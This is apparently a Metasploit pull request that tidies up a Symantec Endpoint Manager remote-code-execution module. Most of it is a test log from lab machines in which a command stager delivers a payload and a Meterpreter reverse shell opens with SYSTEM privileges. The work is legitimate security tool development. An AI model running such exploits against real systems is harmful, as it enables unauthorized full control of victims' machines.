Clean up symantec module

Hi @xistence, 

Great module on https://github.com/rapid7/metasploit-framework/pull/3029, thanks a lot! This pull request just tries to clean it with some of the provided feedback in the pull reuquest. Please feel free to check, test,review and land once you feel comfortable, and this module will be ready to go!

And the moment I've deleted the CMD option, if you want to provide the CMD option still, please, add an ARCH_CMD target, as explained by @zeroSteiner, adding the payload analysis necessary (space, badchars).

Tested on win XPSP3 and win7 successfully:

```
msf exploit(symantec_endpoint_manager_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.133:9090 - Sending payload
[*] Command Stager progress -   3.90% done (3949/101355 bytes)
[*] Command Stager progress -   7.79% done (7898/101355 bytes)
[*] Command Stager progress -  11.69% done (11847/101355 bytes)
[*] Command Stager progress -  15.58% done (15796/101355 bytes)
[*] Command Stager progress -  19.48% done (19745/101355 bytes)
[*] Command Stager progress -  23.38% done (23694/101355 bytes)
[*] Command Stager progress -  27.27% done (27643/101355 bytes)
[*] Command Stager progress -  31.17% done (31592/101355 bytes)
[*] Command Stager progress -  35.07% done (35541/101355 bytes)
[*] Command Stager progress -  38.96% done (39490/101355 bytes)
[*] Command Stager progress -  42.86% done (43439/101355 bytes)
[*] Command Stager progress -  46.75% done (47388/101355 bytes)
[*] Command Stager progress -  50.65% done (51337/101355 bytes)
[*] Command Stager progress -  54.55% done (55286/101355 bytes)
[*] Command Stager progress -  58.44% done (59235/101355 bytes)
[*] Command Stager progress -  62.34% done (63184/101355 bytes)
[*] Command Stager progress -  66.24% done (67133/101355 bytes)
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[*] Command Stager progress -  81.82% done (82929/101355 bytes)
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[*] Command Stager progress -  93.51% done (94776/101355 bytes)
[*] Command Stager progress -  97.41% done (98725/101355 bytes)
[*] Sending stage (769024 bytes) to 192.168.172.133
[*] Command Stager progress - 100.00% done (101355/101355 bytes)
[*] Meterpreter session 4 opened (192.168.172.1:4444 -> 192.168.172.133:49269) at 2014-02-24 16:00:08 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 4 closed.  Reason: User exit
msf exploit(symantec_endpoint_manager_rce) > 
```